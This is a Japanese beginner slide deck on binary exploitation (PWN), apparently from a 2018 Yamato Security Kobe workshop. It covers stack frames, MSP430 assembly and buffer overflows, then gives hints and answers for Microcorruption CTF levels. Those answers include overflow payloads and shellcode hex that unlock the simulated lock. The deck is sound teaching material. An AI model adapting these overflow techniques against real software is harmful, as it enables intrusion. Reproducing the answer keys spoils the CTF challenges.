SlideShare ist ein Scribd-Unternehmen logo
1 von 102
Downloaden Sie, um offline zu lesen
PWNの超⼊⾨
2018/3/25
@⼤和セキュリティ神戸
⽥中ザック (@yamatosecurity)
PWN(ポーン)とは?
• 元々「own」から来ている
• 「own」= 自分の物にする。ハッカースラングで「侵⼊、支配」等
• 例:

I owned/pwned him. (彼をハックした)

I/he/they got owned/pwned. (ハックされた!)

They’re owned/pwned bad. (あの会社は完全にハックされてる)

機密情報が全部流出され、バックドア等も置かれているニュアンス
• CTFではメモリ破壊系の脆弱性を悪用するバイナリ問題のジャンル
Pwnie Awards(ポニーアワード)
• https://pwnies.com/ Blackhatの非公式アワード
メモリ破壊系の脆弱性
• Buffer Overflow (Stack Overflow)
• Heap Overflow(ヒープオーバーフロー)
• Format String (書式⽂字列攻撃)
• Use After Free (UAF) (別名:Dangling Pointer)
• Write What Where (任意の場所に任意の値を書き込む)
• Type confusion (型の取り違え)
• Rowhammer等々
バイナリ/仮想アドレス空間の構成
上位メモリ
下位メモリ
「プロテクトモード」や

「ページング⽅式」等を

ご存知ない⽅は
wikipediaの記事を

読んで下さい
仮想アドレス空間の構成(32ビット)
Base/Frame Pointer (Intel 32bit: EBP、64bit: RBP、ARM: R11、THUMB: R7)

ベースポインターからのオフセットで関数のローカル変数を参照
(次の命令を指す。Intel 32bit: EIP、64bit: RIP、ARM等:PC

別名:Instruction Pointer (IP)、命令ポインター)
カーネルメモリ(上位メモリ)
ユーザ
モード
メモリ
Stack Pointer: スタックの先頭を指している。PUSH/POP命令に使う
スタック
• プロセスの基本的なデータ構造
• LIFO - Last In First Out (後⼊れ先出し)
• 関数が呼び出された時(call命令時)に、

呼び出した関数のベースポインター、戻り値、関数の引数、

関数のローカル変数をスタックに保存する
• ⼀時的にデータを保存する時に使われる
バッファーオーバーフロー
•ローカル変数のバッファーが溢れると

保存されたベースポインターや戻り値が

上書きされる
•関数がreturnする時に上書きされた

アドレスに⾶ばされる
•攻撃者のコード(シェルコード)を

AAAAのバッファーに置いて、

戻り値をそのバッファーのアドレスに

⾶ばしたら任意のコード実⾏が可能
•シェルコードをそのアーキテクチャの

機械語で書かないといけない
•最近のOSではスタックにあるデータを

実⾏できないので⼯夫が必要
下位メモリ
上位メモリ
CPUのレジスタ
• CPUが内蔵する記憶回路(16/32/64ビットで小さいけど⼀番早い!)
• 専用レジスタ:スタック、ベース、PC、ステータス等
• 汎用レジスタ:MSP430: r4-r15、ARM: r0-r12
• 汎用レジスタは値かメモリアドレスが格納されている
• MSP430:
• r0 = Program Counter (PC)
• r1 = Stack Pointer (SP)
• r2 = Status Register (SR)
• r3 = Constant Generation (CG)
SR (ステータスレジスタ)
• CPUが命令を実⾏後にフラグ(ビット)をセットする
• CF(キャリーフラグ):

ある桁での計算結果が、その桁で表すことのできる数を

超えたときに、キャリーとして1つ上の桁へ加えられる。

例:8ビットレジスタの場合:

255 + 9 = 264だけど255がmaxなので、

(264 & 255 = 8、CF = 1)。1 - 2 = 255、CF =1。
• ZF (ゼロフラグ):

算術演算命令の結果が0であった場合、真 (ZF=1)。

ADD、SUB等の演算命令。

論理演算命令の結果が0であった場合、真 (ZF=1)。

AND、OR等の論理演算命令
• NF (ネガティブフラグ):

算術演算命令の結果がネガティブの場合
関数 (Functions)
•与えられた⽂字や数値に対し、

定められた処理を⾏って結果を返す機能
•例:

int add(int x, int y)

{

int sum;

sum = x + y;

return(sum);

}
•add(2,3)
パラメータ (Parameters)
5がリターンされる。2と3が引数(Arguments)
ローカル変数 (Local Variables)
戻り値(別名:返り値、Return Value)
関数 (Functions)
•プログラムは普段main()関数から始まる
•int main()

{ 

int sum; 

sum = add(2,3);

printf(“Result is %d ", sum);

return 0;

}
add関数が終わったら

次の命令(printf)に

戻らないといけない。
そのため、何処かに

戻りアドレス (Return Address)を

保存しないといけない。
また、2と3の引数を

何処かに保存しないと。
関数 (Functions)
•引数、リターンアドレス、ローカル変数は

スタックに⼀時的に保存される!
•add(2,3);をアセンブリ⾔語にすると、

まず引数をスタックにPUSHしてからCALL add
•PUSH 3
•PUSH 2
•CALL add
スタック
3
2
SP
SP
CALL命令
•CALL命令は次の命令のアドレスをスタックに

保存(push)してから関数にJUMPする
•PUSH <次の命令アドレス>
•PC = 関数のアドレス
•SPがpush/pop命令で

自動的にトップに

移動される
スタック
3
2 SP
SP戻りアドレス
関数の構成 (アセンブリ)
エピローグ
コード
プロローグ
•プロローグ
•BPを保存して (push ebp)
•BP <= SP (mov esp, ebp)
•SPを増やす (sub esp, 10)

(ローカル変数のスペースを作る)
•エピローグ
•SP <= BP (mov ebp, esp)
•古いBPをスタックからBPに戻す (pop ebp)
•SPにある戻りアドレスに戻る (ret)
関数 (Functions)
スタック
フレーム
下位メモリ
上位メモリ
関数を呼び出す前に引数をPUSH
mainの
スタックフレーム
BP (上位メモリ)
SP (下位メモリ)
PUSH 3
PUSH 2
スタック

(mainの
ローカル変数等)
3 (addの引数)
2 (addの引数) SP
※スタックは実は下に拡張
CALL命令
スタック

(mainの
ローカル変数等)
3 (addの引数)
2 (addの引数)
SP戻りアドレス
CALL <関数>
まず戻りアドレスを保存
BP (MainのStack Frame)
プロローグ
main()

フレーム
3 (addの引数)
2 (addの引数)
SP
戻りアドレス
BP
mainのBP
1. PUSH BP
SP/BP
main()

フレーム
3 (addの引数)
2 (addの引数)
戻りアドレス
mainのBP
2. MOV SP, BP
main()

フレーム
3 (addの引数)
2 (addの引数)
戻りアドレス
mainのBP
addの変数
BP
SP
3. SUB SP, 10
エピローグ
main()

フレーム
3 (addの引数)
2 (addの引数)
戻りアドレス
mainのBP
addの変数
BP
SP
1. MOV BP, SP
main()

フレーム
3 (addの引数)
2 (addの引数)
戻りアドレス
mainのBP SP/

BP
main()

フレーム
3 (addの引数)
2 (addの引数)
戻りアドレス
2. POP BP
SP
BP
0.
エピローグ
main()

フレーム
3 (addの引数)
2 (addの引数)
戻りアドレス
3. RET
SP
BP main()

フレーム
3 (addの引数)
2 (addの引数) SP
BP
PC/IP = 戻りアドレス
アーキテクチャ
• ⼆種類
• CISC (Complex Instruction Set Computer)

(複雑命令セットコンピュータ) 例:Intel等

メリット:プログラミングが少し楽になる

デメリット:ハードウェアが複雑になるため、より電源を消費し、遅い
• RISC (Reduced Instruction Set Computer)

(縮小命令セットコンピュータ) 例:マイコン、ARM、MSP430等々

メリット:パフォーマンスがCISCより2~4倍速い。低消費電⼒。

デメリット:プログラムサイズが増える
アセンブリ⾔語のシンタックス
• ⼆種類
• Intel (Windows等)

<命令> <dst>(転送先), <src> (転送元) (オペランドの⽅向:←)
• AT&T (Linux GDB等)

<命令> <src> (転送元), <dst>(転送先) (オペランドの⽅向:→)

mov #0x2400, r15 (“0x2400”の2バイト(word)をr15にコピー)

mov.b #0x4b, 0x0(r15) (“0x4b”の1バイトをr15オフセット0にコピー)

mov.b #0x7a, 0x1(r15) (“0x4b”の1バイトをr15オフセット1にコピー)

mov.b @r15, r14 (r15にあるメモリアドレスにある値をr14にコピー)

mov &0x015c, r5 (0x015cのメモリアドレスにある値をr5にコピー)
エンディアン(バイト順)
• ⼆種類
• ビッグエンディアン (最上位ビット (MSB)が左。Solaris、PowerPC等)
• リトルエンディアン(最下位ビット (LSB)が左。Intel等)
重要なアセンブリ
•CALL: 関数を呼び出す。

PUSH PC+2(次の命令をスタックに保存)

PC = dst
•CLR = レジスタをクリア(reg = 0)
•CMP = CoMPare (dst - src、0の場合は⼀致)
•INC = INCrement (+1)
•INCD = Double INCrement (+2)
•JC = Jump if Carry set
•JEQ/JZ = Jump if EQual/Zero
•JMP = JuMP
•JN = Jump if Negative set
重要なアセンブリ
•JNC = Jump if Not Carry
•JNE/JNZ = Jump if Not Equal/Zero
•MOV = データをコピー
•NOP = 何もしない
•POP = SPのアドレスにあるデータを

レジスタにコピーし、SP = SP +2
•PUSH = SP = SP - 2、レジスタにある

データをSPにコピー
•RET = 関数からリターン

PC = @SP、SP = SP + 2
•SXT = Sign eXTension (8bitのMSBを16bitにextend)

例:00000000 10000000 → 11111111 10000000
11111111 00000000 → 00000000 00000000
•TST(.b) = CMP(.B) #0, xxx (0かどうかチェック)
重要なアセンブリ
•命令に「.b」が付いている場合は、

2バイト(16bit)ではなく、1バイト(8bit)の値に対して命令を実⾏する
•例:mov.b #0x0, -0x4(r4)

ヌルバイト(0x0)をr4のメモリアドレスオフセット-0x4にコピー

(r4 = 2444だったら、2440がヌルバイトで上書きされる。

2441は影響なし)
Microcorruption CTF
• https://microcorruption.com/ (Matasano (現在NCC Group) & Squareが提供)
• バイナリ下忍(初⼼者)のためのCTF
• ウェブブラウザだけでプレーできる!ツール等不要!
• MSP430のRISC、リトルエンディアン、Word Aligned(アドレスは偶数)
• 世界中の倉庫の電⼦錠をハックしていくというストーリー
• マニュアル:https://microcorruption.com/manual.pdf

(Cのサンプルコードあり。必ずRTFM!)
• その他のMSP430 Assemblyマニュアル:

http://www.ece.utep.edu/courses/web3376/Notes_files/ee3376-assembly.pdf

http://www.ece.uah.edu/~milenka/cpe323-10S/lectures/cpe323msp430_ISA.pdf
割り込み
• ソフトウェア割り込み (Interrupt):

マイコンの&0x0010にカーネルモードに⼊るためのcallgateがある。

割り込みを使って、コンソールからPWを⼊⼒したり、

メッセージを出⼒したりできる。

割り込みの種類はステータスレジスタのR2の上位バイトから渡される。
引数はスタックから渡される。
• ソフトウェア割り込み「0x7F」で電⼦錠を解除する
• INT 0x00: putchar (1バイトを出⼒)

割り込みの⼀覧
•INT 0x00: putchar (1バイトを出⼒)
•INT 0x01: getchar (1バイトを⼊⼒)
•INT 0x02: gets(dst_address, max_length)(複数のバイトを⼊⼒)(ヌルバイトで⽌まる)
•INT 0x10: DEP (データ実⾏防⽌)を有効にする
•INT 0x11: メモリページを実⾏可能か書込可能のどちらかにする
•INT 0x20: rand (16ビットの乱数⽣成)
•INT 0x7D: HSM-1に接続。⼀番目の引数は⼊⼒されたPW、

⼆番目はPWが⼀致した時のフラグのメモリアドレス
•INT 0x7E: HSM-2に接続。引数が⼊⼒されたPW
HSM
•Hardware Security Module
•Model 1
• 割り込み「0x7D」でパスワードをマイコンからHSMに送る
• パスワードが⼀致した場合は、メモリのある所のバイトをセットする
•Model 2
• よりセキュアなHSMで直接HSMから解除する
• 割り込み「0x7E」でパスワードをマイコンからHSMに送って

HSMにあるPWと⼀致した場合はHSMが直接解除する
CTFの正しいやり⽅
•※やり過ぎて、しんどくなって諦めたら意味無い!!ので

 頑張り過ぎないように!(笑)
•まず、⼀回問題に挑戦してみる!
•自分の限界まで来たら、頭を冷やしてもう⼀回挑戦するか、

ヒントを見る
•また限界まで来たら次のヒントや解説(write up)を見る
•Write upが無い場合は先輩などに聞く (ソーシャルハック)
•何より楽しむのが⼤事!!! 
•※グループでやった⽅が楽しいし、勉強になる!
0. Tutorial
•https://microcorruption.com/でアカウントを作成して、

Tutorialを⾔われる通りやって下さい
「⼤熱⾎! アセンブラ⼊⾨」 by 坂井 弘亮
その他のバイナリハッキングのコツ
• プロローグとエピローグの

コードをあまり気にしないで

その間のコードを解析する!
• バッファオーバフローの場合、

戻りアドレスが上書きされる

ので、「ret」にbreakpointを

付けて、spの値を確認したり

解析して下さい
• sかnでレジスタとスタックの

メモリダンプを見ながら解析
プロローグ
エピローグ
その他のバイナリハッキングのコツ
•A型、完璧主義者は絶対駄目!!!
•全部理解しようとしたらしんどいし、不可能!!
•まず問題を解ければ良い!
•余裕があれば、問題を解いてから

更に解析しても良い

※ストレスがたまらない程度にね!
1. New Orleans (10点)
• Bluetoothなんちゃらと

書いてあるけど無視して良い
• 取り敢えず

cでスタート

適当にパスワードを⼊⼒

sでステップ

パスワードを探して下さい
New Orleans
• PWを⼊⼒後、

check_passwordが

呼ばれる
• tst r15 (return valueを確認)

ZF=1の場合は

#4462: Access Granted

0の場合は、

次の命令で

「Invalid password」
• 他に面白い関数ある?
New Orleans
ヒント1
New Orleansヒント1
• ループで1バイト単位で

⼊⼒したPWがr14の

アドレスにあるPWと⼀致

しているかどうか確認している
• ハードコードされたPWが

分かったらsolveで解く!
New Orleans
ヒント2
New Orleansヒント2
• create_passwordの関数が

気になる!
• break create_passwordで

sしたらパスワードを

Memory Dumpで確認
New Orleansの答え
New Orleansの答え
パスワードが「Kz5+{g5」でござる
※プレーヤーによってPW、アドレス、カナリア等が違うのでコピペで解けない!!
2. Sydney (15点)
•「前のモデルはメモリからパスワード

を取得できる脆弱性の報告があった

ので、修正しました」
•取り敢えず適当にPWを⼊⼒し、

sで解析して下さい
Sydney
ヒント1
Sydney ヒント1
• cmp命令でパスワードの最初の

2バイトが0x5021であるかどうか

確認している・・
• ⼀致しない場合は、

44acに⾶んでr14とr15をゼロにする
• mainに戻った時にゼロフラグがセット

されているので、4452でAccess Grantedに

⾶ばないでInvalid Passwordで終了
Sydney
ヒント2
Sydney ヒント2
Little/Big Endianにご注意を!
Sydneyの答え
Sydney の答え
PW: 2150735d53472639
※プレヤーによって

フラグが異なる可能性がある
3. Hanoi (20点)
• ハードウェアセキュリティモジュール
「LockIT Pro HSM-1」に接続している
• https://microcorruption.com/manual.pdf
• Interrupt 0x7DでパスワードをHSMに送る
• パスワードが⼀致した場合はメモリのある所の

バイトがセットされる
Hanoi ヒント1
Hanoi ヒント1
•455aでパスワードが正しい

かどうかチェックしている
•HSM-1が&0x2410にパスワード

チェックのリターン値を

セットしているっぽい
Hanoi ヒント2
バッファーオーバーフロー!
Hanoi の答え
Hanoiの答え
88 x (17回)をPWに⼊れると

リターン値が上書きされて
ロックが解除される
4. Cusco (25点)
•また「LockIT Pro HSM-1」に接続している
•「長過ぎるパスワードに関する問題を修正した」
Cuscoのヒント1
またバッファーオーバーフロー!
Cuscoのヒント2
18-19バイト目で好きなアドレスに

PCを⾶ばすことができる。
何処に⾶ばしたらロックが解除される?
Cuscoの答え
• 4528のunlock_doorは?
• PW: 

414141414141414141414141414141412845

41 x 16回 + 2845
5. Reykjavik (35点)
•軍用の強度な暗号を利用している
•HWセキュリティモジュールに接続していない
•暗号化されているのでパスワードをメモリから読めない
Reykjavikヒント1
Reykjavikのヒント1
•パスワード確認コードは暗号化されている
•スタックから実⾏されるので、

上⼿く逆アセンブルできなくて見づらい
•パスワードを⼊⼒後に「s」で命令をチェック
Reykjavikヒント2
cmpを探して下さい
Reykjavikの答え
PW: hexで21af
6. Whitehorse (50点)
HSM-2に接続している
Whitehorseヒント1
Whitehorseのヒント1
バッファオーバーフローの問題
Whitehorseヒント2
Whitehorseのヒント2
使えるアドレス(解除してくれるアドレス)
が無いのでシェルコードを書く必要がある
Whitehorseヒント3
Whitehorseのヒント3
•使えるアドレス

(解除してくれるアドレス)が無いので

シェルコードを書く必要がある
•0x7eを呼び出す事は

できるけど役に立たない
•(HSM-2側で認証/解除を⾏っている)
Whitehorseの答え
Whitehorseの答え
•シェルコード:

3012 7f00 PUSH #x7f

b012 3245 call <INT>
•パスワードが3884から始まるので

PW: 30127f00b012324541414141414141418438

(3012 7f00 b012 3245 + (41 x 8) + 8438)
7. Johannesburg (20点)
•HSM-1に接続している
•「長過ぎるPWを拒否する」
Johannesburgのヒント
Johannesburgのヒント
•PWの長さをカナリアで確認している
Johannesburgの答え
Johannesburgの答え
•18バイト目が0x9cかどうかチェックしている

(カナリアが上書きされているかどうかチェック)
•PW: 9c9c9c9c9c9c9c9c9c9c9c9c9c9c9c9c9c9c4644

(9c x 18) + 4644で4446のunlock_door関数に⾶ばす
8. Montevideo (50点)
•HSM-2に接続している
•「Shift Leftでセキュア開発している」
Montevideoヒント1
Montevideoのヒント1
•strcpyされているので、

ヌルバイトが使えない!つらい!
•使えたらWhitehorseのように

3012 7f00 push#0x7f

b012 4c45 call #0x454c <INT>

で簡単にできる・・
•ヌルバイトなしで使える命令ある?Assembly頑張って!
Montevideoヒント2
Montevideoのヒント2
•break 4460 <INT>
•sでINT 0x7eを解析
•どうやってINT 0x7fのシェルコードを作成?
•(ヌルバイト無しで・・)
Montevideoヒント3
Montevideoのヒント3
•INT 0x7fを解析したら

sr = ff00

call 0x10

できたら解除できる
•検証:(プログラムの何処でもbreakして)

let sr = ff00

let pc = 455c (call 0x10)

c

したら解除される
Montevideoヒント4
Montevideoのヒント4
•1つのやり⽅:

mov ????, r15 (バイト順に注意)

inc r15 (0xff00になるように)

mov r15, r2 (r2 = sr) 

call #0x0010 (call 0x10)
Montevideoヒント5
Montevideoのヒント5
• 3f40 feff mov #0xfffe, r15

1f53 inc r15

024f mov r15, r2 

b012 1000 call #0x0010
•最後にヌルバイトがあるので、

シェルコードを最後にする必要がある
ゴミ(AAAAAA・・・)
戻り値

改ざん シェルコード
Montevideoの答え
Montevideoの答え1
•ゴミデータ: A * 16
•戻り値改ざん:0x4402 (4400にヌルあるため)
•シェルコード(SC):3f40fffe1f53024fb0121000
•ゴミ(16B)+ 戻り値改ざん + ゴミ(2B)+ SC
•PW: 41414141414141414141414141414141

024442423f40fffe1f53024fb0121000
Montevideoの

他の解き⽅
ヌルの無いシェルコード作成(上級)
•Kali/DebianからgccのMSP430プラグインをインストール必要がある
•デフォルトのレポジトリに⼊っていないので⼀時的にdebian repoを追加
•leafpad /etc/apt/sources.listで以下の追加/保存:

deb http://deb.debian.org/debian stretch main

deb-src http://deb.debian.org/debian stretch main
•apt-get update
•apt-get install gcc-msp430 gdb-msp430
•debianレポジトリを削除:

leafpad /etc/apt/sources.list で上記のrepoを削除

rm /etc/apt/sources.list.d/nodesource.list (なぜかこれが作成されるので削除)
ヌルの無いシェルコード作成(上級)
• leafpad msp430-shellcode.cで以下のようなシェルコードを作成

main() {
asm(
"mov #0xf010, r4n” //r4 = 0xf010 (1111 0000 0001 0000)
"and #0x0fff, r4n” // & 0x0fff (0000 1111 1111 1111)
// r4 = (0000 0000 0001 0000) (= 0x10, 16)
"mov #0xff01, r2n” // r2 (SR) = 0xff01
"dec r2n” // r2 (SR) = 0xff00
"call r4n” // Call 0x10
);
}
•msp430-gcc -O0 -mmcu=msp430g2553 ./msp430-shellcode.c -o msp430-shellcode
ヌルの無いシェルコード作成(上級)
• msp430-objdump -d ./msp430-shellcode(でdisassemble)
• msp430-gdb ./msp430-shellcode(でも同じようにできる)

(gdb) disas /r main
ヌルの無いシェルコード作成(上級)
• なんと!こんなめんどくさいことをやらなくても、

サイトにMSP430アセンブラあったわ!
• https://microcorruption.com/assembler
Montevideoの答え(2)
•ゴミデータ: A * 16
•戻り値改ざん:0x4402 (4400にヌルあるため)
•シェルコード(SC):344010f034f0ff0f324001ff12838412
•ゴミ(16B)+ 戻り値改ざん + ゴミ(2B)+ SC
•PW: 41414141414141414141414141414141

02444242344010f034f0ff0f324001ff12838412
•ヌル無いけど、SCが12バイトから16バイトに増えた!
Montevideoの答え(3)
•ゴミデータ: A * 16
•戻り値改ざん:0x4460 (Call <INT>)
•シェルコード(とは⾔えないけど):7f (1バイト!)
•PW: 41414141414141414141414141414141

60447f
•Call <INT>したらSPが0x7fになるので、

ロックが解除される
9. Santa Cruz (50点)
•長過ぎるパスワードを

拒否する
•HSM-1に接続している
•ユーザ名も必要!
•もう資料作成疲れた∼
•皆さん、できる所まで頑張って楽しんで下さいね!
•(ネットの何処かに英語のwrite upがあるので、

限界まで来たらそれをご参考に∼)
•最後までできたら、結構強くなるはず!

Weitere ähnliche Inhalte

Was ist angesagt?

CTFはとんでもないものを 盗んでいきました。私の時間です…
CTFはとんでもないものを 盗んでいきました。私の時間です…CTFはとんでもないものを 盗んでいきました。私の時間です…
CTFはとんでもないものを 盗んでいきました。私の時間です…
Hiromu Yakura
 
[CB16] House of Einherjar :GLIBC上の新たなヒープ活用テクニック by 松隈大樹
[CB16] House of Einherjar :GLIBC上の新たなヒープ活用テクニック by 松隈大樹[CB16] House of Einherjar :GLIBC上の新たなヒープ活用テクニック by 松隈大樹
[CB16] House of Einherjar :GLIBC上の新たなヒープ活用テクニック by 松隈大樹
CODE BLUE
 
Pythonの理解を試みる 〜バイトコードインタプリタを作成する〜
Pythonの理解を試みる 〜バイトコードインタプリタを作成する〜Pythonの理解を試みる 〜バイトコードインタプリタを作成する〜
Pythonの理解を試みる 〜バイトコードインタプリタを作成する〜
Preferred Networks
 

Was ist angesagt? (20)

Glibc malloc internal
Glibc malloc internalGlibc malloc internal
Glibc malloc internal
 
CTFはとんでもないものを 盗んでいきました。私の時間です…
CTFはとんでもないものを 盗んでいきました。私の時間です…CTFはとんでもないものを 盗んでいきました。私の時間です…
CTFはとんでもないものを 盗んでいきました。私の時間です…
 
C++ マルチスレッド 入門
C++ マルチスレッド 入門C++ マルチスレッド 入門
C++ マルチスレッド 入門
 
[CB16] House of Einherjar :GLIBC上の新たなヒープ活用テクニック by 松隈大樹
[CB16] House of Einherjar :GLIBC上の新たなヒープ活用テクニック by 松隈大樹[CB16] House of Einherjar :GLIBC上の新たなヒープ活用テクニック by 松隈大樹
[CB16] House of Einherjar :GLIBC上の新たなヒープ活用テクニック by 松隈大樹
 
CyberChefの使い方(HamaCTF2019 WriteUp編)
CyberChefの使い方(HamaCTF2019 WriteUp編)CyberChefの使い方(HamaCTF2019 WriteUp編)
CyberChefの使い方(HamaCTF2019 WriteUp編)
 
型安全性入門
型安全性入門型安全性入門
型安全性入門
 
Pythonの理解を試みる 〜バイトコードインタプリタを作成する〜
Pythonの理解を試みる 〜バイトコードインタプリタを作成する〜Pythonの理解を試みる 〜バイトコードインタプリタを作成する〜
Pythonの理解を試みる 〜バイトコードインタプリタを作成する〜
 
Master Canary Forging: 新しいスタックカナリア回避手法の提案 by 小池 悠生 - CODE BLUE 2015
Master Canary Forging: 新しいスタックカナリア回避手法の提案 by 小池 悠生 - CODE BLUE 2015Master Canary Forging: 新しいスタックカナリア回避手法の提案 by 小池 悠生 - CODE BLUE 2015
Master Canary Forging: 新しいスタックカナリア回避手法の提案 by 小池 悠生 - CODE BLUE 2015
 
TLS, HTTP/2演習
TLS, HTTP/2演習TLS, HTTP/2演習
TLS, HTTP/2演習
 
3種類のTEE比較(Intel SGX, ARM TrustZone, RISC-V Keystone)
3種類のTEE比較(Intel SGX, ARM TrustZone, RISC-V Keystone)3種類のTEE比較(Intel SGX, ARM TrustZone, RISC-V Keystone)
3種類のTEE比較(Intel SGX, ARM TrustZone, RISC-V Keystone)
 
プログラムを高速化する話
プログラムを高速化する話プログラムを高速化する話
プログラムを高速化する話
 
例外設計における大罪
例外設計における大罪例外設計における大罪
例外設計における大罪
 
Marp Tutorial
Marp TutorialMarp Tutorial
Marp Tutorial
 
暗号文のままで計算しよう - 準同型暗号入門 -
暗号文のままで計算しよう - 準同型暗号入門 -暗号文のままで計算しよう - 準同型暗号入門 -
暗号文のままで計算しよう - 準同型暗号入門 -
 
BoostAsioで可読性を求めるのは間違っているだろうか
BoostAsioで可読性を求めるのは間違っているだろうかBoostAsioで可読性を求めるのは間違っているだろうか
BoostAsioで可読性を求めるのは間違っているだろうか
 
Amebaにおけるレコメンデーションシステムの紹介
Amebaにおけるレコメンデーションシステムの紹介Amebaにおけるレコメンデーションシステムの紹介
Amebaにおけるレコメンデーションシステムの紹介
 
自動でバグを見つける!プログラム解析と動的バイナリ計装
自動でバグを見つける!プログラム解析と動的バイナリ計装自動でバグを見つける!プログラム解析と動的バイナリ計装
自動でバグを見つける!プログラム解析と動的バイナリ計装
 
初心者がRSA暗号を教わったら自力でCTFの問題が解けるようになった話
初心者がRSA暗号を教わったら自力でCTFの問題が解けるようになった話初心者がRSA暗号を教わったら自力でCTFの問題が解けるようになった話
初心者がRSA暗号を教わったら自力でCTFの問題が解けるようになった話
 
katagaitai CTF勉強会 #5 Crypto
katagaitai CTF勉強会 #5 Cryptokatagaitai CTF勉強会 #5 Crypto
katagaitai CTF勉強会 #5 Crypto
 
高速な倍精度指数関数expの実装
高速な倍精度指数関数expの実装高速な倍精度指数関数expの実装
高速な倍精度指数関数expの実装
 

Ähnlich wie PWNの超入門 大和セキュリティ神戸 2018-03-25

Ähnlich wie PWNの超入門 大和セキュリティ神戸 2018-03-25 (6)

Buffer overflow
Buffer overflowBuffer overflow
Buffer overflow
 
初めてのCPUを作ってみた
初めてのCPUを作ってみた初めてのCPUを作ってみた
初めてのCPUを作ってみた
 
PFIセミナーH271022 ~コマンドを叩いて遊ぶ コンテナ仮想、その裏側~
PFIセミナーH271022 ~コマンドを叩いて遊ぶ コンテナ仮想、その裏側~PFIセミナーH271022 ~コマンドを叩いて遊ぶ コンテナ仮想、その裏側~
PFIセミナーH271022 ~コマンドを叩いて遊ぶ コンテナ仮想、その裏側~
 
Richard high performance fuzzing ja
Richard  high performance fuzzing jaRichard  high performance fuzzing ja
Richard high performance fuzzing ja
 
Deep learning Libs @twm
Deep learning Libs @twmDeep learning Libs @twm
Deep learning Libs @twm
 
20151228_マイナンバー対応、情報漏洩対策にアクセスコントロールとカラムベースのデータ暗号化ソリューション by 株式会社インサイトテクノロジー 森田俊哉
20151228_マイナンバー対応、情報漏洩対策にアクセスコントロールとカラムベースのデータ暗号化ソリューション by 株式会社インサイトテクノロジー 森田俊哉20151228_マイナンバー対応、情報漏洩対策にアクセスコントロールとカラムベースのデータ暗号化ソリューション by 株式会社インサイトテクノロジー 森田俊哉
20151228_マイナンバー対応、情報漏洩対策にアクセスコントロールとカラムベースのデータ暗号化ソリューション by 株式会社インサイトテクノロジー 森田俊哉
 

Mehr von Isaac Mathis

Mehr von Isaac Mathis (7)

Mob security キャリアアドバイスとライフハック
Mob security キャリアアドバイスとライフハックMob security キャリアアドバイスとライフハック
Mob security キャリアアドバイスとライフハック
 
2019 12-14 DIY WIDS IoTSecJP Version 6.0
2019 12-14 DIY WIDS IoTSecJP Version 6.02019 12-14 DIY WIDS IoTSecJP Version 6.0
2019 12-14 DIY WIDS IoTSecJP Version 6.0
 
近年急増のサイバー攻撃の傾向(2018/5)
近年急増のサイバー攻撃の傾向(2018/5)近年急増のサイバー攻撃の傾向(2018/5)
近年急増のサイバー攻撃の傾向(2018/5)
 
“Stay Right”ペンテスト体験:SANS Holiday Hack Challenge 2017の解説 & Walkthrough
“Stay Right”ペンテスト体験:SANS Holiday Hack Challenge 2017の解説 & Walkthrough“Stay Right”ペンテスト体験:SANS Holiday Hack Challenge 2017の解説 & Walkthrough
“Stay Right”ペンテスト体験:SANS Holiday Hack Challenge 2017の解説 & Walkthrough
 
DDEを悪用する Macroless Office Document Exploits
DDEを悪用する Macroless Office Document ExploitsDDEを悪用する Macroless Office Document Exploits
DDEを悪用する Macroless Office Document Exploits
 
Meltdown/Spectreの脆弱性、リスク、対策
Meltdown/Spectreの脆弱性、リスク、対策Meltdown/Spectreの脆弱性、リスク、対策
Meltdown/Spectreの脆弱性、リスク、対策
 
SANS Holiday Hack 2017 (非公式ガイド)
SANS Holiday Hack 2017 (非公式ガイド)SANS Holiday Hack 2017 (非公式ガイド)
SANS Holiday Hack 2017 (非公式ガイド)
 

Kürzlich hochgeladen

Kürzlich hochgeladen (12)

知識ゼロの営業マンでもできた!超速で初心者を脱する、悪魔的学習ステップ3選.pptx
知識ゼロの営業マンでもできた!超速で初心者を脱する、悪魔的学習ステップ3選.pptx知識ゼロの営業マンでもできた!超速で初心者を脱する、悪魔的学習ステップ3選.pptx
知識ゼロの営業マンでもできた!超速で初心者を脱する、悪魔的学習ステップ3選.pptx
 
論文紹介: The Surprising Effectiveness of PPO in Cooperative Multi-Agent Games
論文紹介: The Surprising Effectiveness of PPO in Cooperative Multi-Agent Games論文紹介: The Surprising Effectiveness of PPO in Cooperative Multi-Agent Games
論文紹介: The Surprising Effectiveness of PPO in Cooperative Multi-Agent Games
 
Amazon SES を勉強してみる その22024/04/26の勉強会で発表されたものです。
Amazon SES を勉強してみる その22024/04/26の勉強会で発表されたものです。Amazon SES を勉強してみる その22024/04/26の勉強会で発表されたものです。
Amazon SES を勉強してみる その22024/04/26の勉強会で発表されたものです。
 
論文紹介:Video-GroundingDINO: Towards Open-Vocabulary Spatio-Temporal Video Groun...
論文紹介:Video-GroundingDINO: Towards Open-Vocabulary Spatio-Temporal Video Groun...論文紹介:Video-GroundingDINO: Towards Open-Vocabulary Spatio-Temporal Video Groun...
論文紹介:Video-GroundingDINO: Towards Open-Vocabulary Spatio-Temporal Video Groun...
 
Observabilityは従来型の監視と何が違うのか(キンドリルジャパン社内勉強会:2022年10月27日発表)
Observabilityは従来型の監視と何が違うのか(キンドリルジャパン社内勉強会:2022年10月27日発表)Observabilityは従来型の監視と何が違うのか(キンドリルジャパン社内勉強会:2022年10月27日発表)
Observabilityは従来型の監視と何が違うのか(キンドリルジャパン社内勉強会:2022年10月27日発表)
 
LoRaWANスマート距離検出センサー DS20L カタログ LiDARデバイス
LoRaWANスマート距離検出センサー  DS20L  カタログ  LiDARデバイスLoRaWANスマート距離検出センサー  DS20L  カタログ  LiDARデバイス
LoRaWANスマート距離検出センサー DS20L カタログ LiDARデバイス
 
論文紹介:Selective Structured State-Spaces for Long-Form Video Understanding
論文紹介:Selective Structured State-Spaces for Long-Form Video Understanding論文紹介:Selective Structured State-Spaces for Long-Form Video Understanding
論文紹介:Selective Structured State-Spaces for Long-Form Video Understanding
 
NewSQLの可用性構成パターン(OCHaCafe Season 8 #4 発表資料)
NewSQLの可用性構成パターン(OCHaCafe Season 8 #4 発表資料)NewSQLの可用性構成パターン(OCHaCafe Season 8 #4 発表資料)
NewSQLの可用性構成パターン(OCHaCafe Season 8 #4 発表資料)
 
新人研修 後半 2024/04/26の勉強会で発表されたものです。
新人研修 後半        2024/04/26の勉強会で発表されたものです。新人研修 後半        2024/04/26の勉強会で発表されたものです。
新人研修 後半 2024/04/26の勉強会で発表されたものです。
 
LoRaWAN スマート距離検出デバイスDS20L日本語マニュアル
